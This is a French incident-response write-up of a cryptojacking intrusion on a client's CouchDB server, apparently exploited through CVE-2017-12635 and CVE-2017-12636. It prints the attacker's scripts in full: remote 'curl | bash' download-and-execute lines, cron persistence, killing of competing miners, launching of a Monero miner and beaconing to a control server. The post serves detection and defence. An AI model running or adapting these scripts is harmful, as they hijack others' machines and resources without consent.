Avec l'émergence et le succès des crypto monnaies, une nouvelle activité frauduleuse tend aujourd'hui à se développer, dans le dos des administrateurs systèmes : le minage. Le minage consiste à transformer du temps de calcul CPU en monnaie virtuelle, Bitcoins ou autres. Les ressources de vos machines deviennent donc la cible de pirates d'un nouveau genre qui s'adonnent à cette activité qui peut s'avérer fort lucrative. En février dernier, une attaque a été lancée, nous avons été confrontés en cette occasion au cas d'un client qui en a été victime, nous vous proposons donc de partager avec vous ce petit retour d'expérience.
Les symptômes
Nous avons été contacté par une société de développement web qui se plaignait de grosses lenteurs sur son serveur de bases de données. Sa stack se composait principalement d'un serveur Couchdb, un serveur MongoDB, un serveur MySQL, de Docker, de KVM pour la partie virtualisation, ainsi que de sites web Drupal et Wordpress. Doté d'une pile logicielle moderne mais chargée et d'un système d'exploitation qui n'est plus maintenu... toutes les conditions étaient réunies pour qu'une compromission se produise. Voici comment.
Détection et diagnostic
Une simple analyse des processus laissait apparaître un processus nommé supsplk tournant avec les droits de l'utilisateur CouchDB faisait état d'une consommation CPU anormale (667,8%)
couchdb 20 0 861740 19616 2308 S 667,8 0,1 89772:00 supsplk
Notez que ce processus tourne sous le user couchdb, ce qui nous donne une sérieuse indication sur l'origine de la compromission. Il s'agit probablement d'un problème lié à CouchDB, en l'occurence le CVE-2017-12635. L'exploitation de cette vulnérabilité permet l'envoi de documents _user menant à une simple escalation de privilège incluant le rôle _admin. Une seconde vulnérabilité, le CVE-2017-12636 faisant actuellement l'objet d'une ré-analyse de criticité. Cette vulnérabilité permet à un utilisateur Apache CouchDB doté du rôle _admin d'exécuter arbitrairement des commandes shell. Les deux vulnérabilités portent sur des versions de CouchDB avant les versions 1.7.0 et pour la branche 2.x avant 2.1.1.
A ce stade, nous avons une forte suspicion sur le fait que ces deux vulnérabilités combinées sont la cause de la compromission de la machine, qui ne semble pas rootée et avec ce processus qui tourne au nom de l'utilisateur CouchDB.
Le p0wn
Un fichier trouvé dans le /tmp et nommé 3.sh
# cat 3.sh
curl -s http://158.69.xxx.xxx:8220/logo3.jpg | bash -s
Ce script lance la commande curl pour télécharger le payload distant localisé sur un serveur compromis et nommé logo3.jpg. Il ne s'agit évidemment pas d'une image, mais d'un shell script. Le payload n'étant pas même encodé, on peut voir ce qu'il fait exactement, en voici un extrait (NB: l'hébergeur de la machine compromise hébergeant les fichiers servant à infecter d'autres machine a été prévenu par nos soins et a rapidement fait le nécessaire pour nettoyer cette machine) :
ps auxf|grep -v grep|grep -v ovpvwbvtat|grep "/tmp/"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "ysjswirmrm"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "snapd"|awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "mysql_dump"|awk '{print $2}'|xargs kill -9 crontab -r || true && \ echo "* * * * * curl -s http://158.69.xxx.xxx:8220/logo3.jpg | bash -s" >> /tmp/cron || true && \ crontab /tmp/cron || true && \ rm -rf /tmp/cron || true && \ docker pause `docker ps|grep kube-apis |awk '{print $1}'` docker pause `docker ps|grep nginx78 |awk '{print $1}'` curl -o /var/tmp/config.json http://158.69.xxx.xxx:8220/config_1.json curl -o /var/tmp/supsplk http://158.69.xxx.xxx:8220/gcc chmod 777 /var/tmp/supsplk cd /var/tmp proc=`grep -c ^processor /proc/cpuinfo` cores=$(($proc+1)) num=$(($cores*3)) /sbin/sysctl -w vm.nr_hugepages=`$num` nohup ./supsplk -c config.json -t `echo $cores` >/dev/null & fi ps -fe|grep supsplk |grep -v grep if [ $? -eq 0 ] then pwd else curl -o /var/tmp/config.json http://158.69.xxx.xxx:8220/c1.json curl -o /var/tmp/supsplk http://158.69.xxx.xxx:8220/minerd chmod 777 /var/tmp/supsplk cd /var/tmp proc=`grep -c ^processor /proc/cpuinfo` cores=$(($proc+1)) num=$(($cores*3)) /sbin/sysctl -w vm.nr_hugepages=`$num` nohup ./supsplk -c config.json -t `echo $cores` >/dev/null & fi if [ $? -eq 0 ] then pwd else curl -o /var/tmp/config.json http://158.69.xxx.xxx:8220/kworker.json curl -o /var/tmp/supsplk http://158.69.xxx.xxx:8220/atd2 chmod 777 /var/tmp/supsplk cd /var/tmp proc=`grep -c ^processor /proc/cpuinfo` cores=$(($proc+1)) num=$(($cores*3)) /sbin/sysctl -w vm.nr_hugepages=`$num` nohup ./supsplk -c config.json -t `echo $cores` >/dev/null & fi if [ $? -eq 0 ] then pwd else curl -o /var/tmp/config.json http://158.69.xxx.xxx:8220/kworker.json curl -o /var/tmp/supsplk http://158.69.xxx.xxx:8220/atd3 chmod 777 /var/tmp/supsplk cd /var/tmp proc=`grep -c ^processor /proc/cpuinfo` cores=$(($proc+1)) num=$(($cores*3)) /sbin/sysctl -w vm.nr_hugepages=`$num` nohup ./supsplk -c config.json -t `echo $cores` >/dev/null & fi ps -fe|grep supsplk |grep -v grep if [ $? -eq 0 ] then pwd else curl -o /var/tmp/supsplk http://158.69.xxx.xxx:8220/yam chmod 777 /var/tmp/supsplk cd /var/tmp nohup ./supsplk -c x -M stratum+tcp://xxxxxxxxxxxxxxxxxxxxxxxxxxx:x@monerohash.com:3333/xmr >/dev/null & fi echo "runing....."
On ira donc retrouver nos fichiers malicieux téléchargés par ce script dans le répertoire /var/tmp/
Toujours dans le répertoire /tmp on trouve d'autres fichiers suspects :
root@nsxxxxxs :/tmp# ls
3.sh hhh-xxxxxxxxxxxxxxxxxxxxxxxxxxx.1ock setupsh.lock tmpfile
BoomBoom hhh-xxxxxxxxxxxxxxxxxxxxxxxxxxx.1ock Silence tmp.txt
cpu_stats setup.sh systemd-private-xxxxxxxxxxxxxxxxxxxxxxxxxxx-systemd-timesyncd.service-ZFZAjf
Le binaire nommé BoomBoom contient une partie du cryptominer.
Idem pour le fichier nommé Silence dans le même répertoire
Idem pour le binaire jaav localisé dans le /var/tmp :
Comme le binaire vpz lui aussi déployé dans le /var/tmp :
Et enfin le binaire supsplk toujours dans le /var/tmp :
D'autres fichiers de configuration sont appelés depuis un site russe probablement compromis, depuis le script setup.sh :
kill -9 13090 #!/bin/bash # find a good writable path self="/tmp/setup.sh" paths=("/var/tmp" "/tmp" "${PWD}") workdir="" files="http://mms.xxxxxxxxxxx.ru/includes/libraries/files.tar.gz" notifyurl="http://mms.xxxxxxxxxxx.ru/includes/libraries/notify.php?p=sf" product="sf" setupurl="http://mms.xxxxxxxxxxx.ru/includes/libraries/getsetup.php?p=sf" lockfile="/tmp/setupsh.lock" notify () { curl -s -F "msg=$1" "${notifyurl}" > /dev/null 2>&1 } #make sure we're only running one instance if [ -f "$lockfile" ]; then exit; fi #lock touch $lockfile for i in ${paths[@]}; do if [ -w "${i}" ]; then workdir=${i} break fi done # if no writable dir found if [ -z "$workdir" ]; then notify "no write" exit fi # kill old instances of xmrig if [[ $(ps -ef | grep xmrig | grep -v grep | wc -l) != 0 ]]; then notify "xmrig found" killall xmrig fi # save current crontab to a file cronfile="${workdir}/.crontab.tmp" crontab -l > "${cronfile}" # remove old /var/tmp/check-****.sh from cron sed -i '/\/var\/tmp\/check-/d' "${cronfile}" # check if we already have cron setup if ! grep -q "${setupurl}" "${cronfile}"; then # setup new cron if needed echo "51 3,6,9,12,15,18,21 * * * curl -s \"${setupurl}\" | bash" > "${cronfile}" # report to hq notify "Cron installed" fi crontab "${cronfile}" rm -f "${cronfile}" # check if xmrig is where we want it to be - $workdir/.X1M-Unix xmrigdir="${workdir}/.X1M-Unix" if [ ! -d "${xmrigdir}" ]; then # if can't find xmrig - download new mkdir "${xmrigdir}" fi download=0 # check if we have executable if [ ! -f "${xmrigdir}/fs-manager" ]; then notify "fs-manager not found" download=1 else notify "fs-manager found" # verify config is up to date # if not - kill xmrig, update config fi launch=0 if [ $download = 1 ]; then notify "Downloading files" curl -s -o "${xmrigdir}/files.tar.gz" "${files}" if [ ! -f "${xmrigdir}/files.tar.gz" ]; then notify "files dl failed" exit fi cd "${xmrigdir}" tar xvzf files.tar.gz > /dev/null 2>&1 if [ ! -f "fs-manager" ]; then notify "executable not found" exit fi rm -f files.tar.gz chmod +x fs-manager launch=1 fi # check if xmrig is runing if [[ $(ps -ef | grep fs-manager | grep -v grep | wc -l) = 0 ]]; then # if not already runing, launch xmrig with nohup launch=1 fi if [ $launch = 1 ]; then #nohup cd "${xmrigdir}" if [ -f "out.log" ]; then last="$(tail -n 1 out.log)" notify "nohup: ${last}" notify "uname: $(uname -a)" fi nohup ./fs-manager > out.log 2>&1 & fi # report to hq if xmrig is runing (hashrate) or if glibc not found or if connection refused or elf not found or upload xmrig/nohup log if can't determine the reason notify "all done" rm -f "${lockfile}"
Dans le fichier tmpfile, on trouve un script intéressant qui indique le chemin d'installation du kit de déploiement qui se trouve lui même sur la machine http://45.76.xxx.xxx/files.tar.gz voir la note de setup ici http://45.76.xxx.xxx/setup.txt
kill -9 8953 #!/bin/bash # find a good writable path self="/tmp/setup.sh" paths=("/var/tmp" "/tmp" "${!!PWD !!}") workdir="" files="http://45.76.xx.xx/files.tar.gz" setupurl="http://45.76.xx.xx/setup.txt" lockfile="/tmp/setupdb.lock" #make sure we're only running one instance if [ -f "$lockfile" ]; then exit; fi #lock touch $lockfile for i in ${!!paths[@] !!}; do if [ -w "${!!i !!}" ]; then workdir=${!!i !!} break fi done # if no writable dir found if [ -z "$workdir" ]; then exit fi # kill old instances of xmrig touch /tmp/setupsh.lock pkill xmrig pkill fs-manager pkill -f atd pkill -f accounts-daemon pkill -f 192.99.xx.xx pkill -9 192.99.xx.xx pkill -f 142.4.xx.xx pkill -9 142.4.xx.xx pkill -f myatd pkill -f minergate pkill -f minergate-cli pkill -f ./sshd pkill -f ddg pkill -f 128.199.xx.xx pkill -f mutex pkill -f mule pkill -f pubg pkill -f watch-smart pkill -f carbon pkill -f Carbon pkill -f AnXqV.yam pkill -f vpp pkill -f wipefs pkill -f fs-manager rm -rf /dev/shm/jboss pkill -f minerd pkill -f vpz pkill -f 94.250.xx.xx pkill -f Silence pkill -f klogd pkill -f BoomBoom # save current crontab to a file cronfile="${!!workdir !!}/.crontab.tmp" crontab -l > "${!!cronfile !!}" # remove old /var/tmp/check-****.sh from cron sed -i '/\/var\/tmp\/check-/d' "${!!cronfile !!}" if [[ $(crontab -l |grep -v grep |grep wget|wc -l) = 1 ]]; then crontab -r pkill -f vpz fi # check if we already have cron setup if ! grep -q "${!!setupurl !!}" "${!!cronfile !!}"; then # setup new cron if needed echo "4 2,5,8,11,14,17,20 * * * curl -s \"${!!setupurl !!}\" |bash" > "${!!cronfile !!}" fi crontab "${!!cronfile !!}" rm -f "${!!cronfile !!}" # check if xmrig is where we want it to be - $workdir/.X11M-Unix xmrigdir="${!!workdir !!}/.X11M-Unix" if [ ! -d "${!!xmrigdir !!}" ]; then # if can't find xmrig - download new mkdir "${!!xmrigdir !!}" fi download=0 # check if we have executable if [ ! -f "${!!xmrigdir !!}/db-manager" ]; then download=1 fi launch=0 if [ $download = 1 ]; then curl -s -o "${!!xmrigdir !!}/files.tar.gz" "${!!files !!}" if [ ! -f "${!!xmrigdir !!}/files.tar.gz" ]; then exit fi cd "${!!xmrigdir !!}" tar xvzf files.tar.gz > /dev/null 2>&1 if [ ! -f "db-manager" ]; then exit fi rm -f files.tar.gz chmod +x db-manager launch=1 fi # check if xmrig is runing if [[ $(ps -ef | grep db-manager | grep -v grep | wc -l) = 0 ]]; then # if not already runing, launch xmrig with nohup launch=1 fi if [ $launch = 1 ]; then #nohup cd "${!!xmrigdir !!}" proc=`grep -c processor /proc/cpuinfo` nohup ./db-manager -c config.json -t `echo $proc` >/dev/null & fi # report to hq if xmrig is runing (hashrate) or if glibc not found or if connection refused or elf not found or upload xmrig/nohup log if can't determine the reason rm -f "${!!lockfile !!}"
C'est enfin dans les répertoires cachés .X11M-Unix/ et .X1M-Unix/ que l'on trouvera les fichiers de configuration de notre pirate pour envoyer le fruit de son vol de ressources :
{ "algo": "cryptonight", "av": 0, "background": false, "colors": true, "cpu-affinity": null, "cpu-priority": null, "donate-level": 0, "log-file": null, "max-cpu-usage": 90, "print-time": 60, "retries": 5, "retry-pause": 5, "safe": false, "syslog": false, "threads": null, "pools": [ { "url": "stratum+tcp://monerohash.com:5555", "user": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:x", "pass": "x", "keepalive": false, "nicehash": false } ] }
{ "url": "poolsupportxmncom", "user": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", "pass": "x", "keepalive": true, "nicehash": false "url": "stratum+tcp://monerohash.com:5555", "user": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", "pass": "x", "keepalive": false, "nicehash": false }
Compromission des machines virtuelles
Le Dom0 compromis, il devenait alors trivial pour le pirate d'infecter les machines virtuelles, ce qui a été chose faite. Nous avons donc procédé à un nettoyage complet des ces VM. A ce stade il est intéressant de noter que le pirate minait de la crypto monnaie (du Monero) pour des pools différents dans chaque machine virtuelle. Ainsi en multipliant les pools de minage, et avec plusieurs machines compromises, il n'attire pas l'attention sur l'origine de son minage. Enfin Monero, crypto monnaie libre et open source, met l'accent sur la vie privée et la décentralisation.
La mésaventure de ce client démontre une fois de plus l'importance de conserver un système à jour, et de ne faire tourner que les services nécessaires au fonctionnement de l'organisation, deux points ici qui faisaient défaut.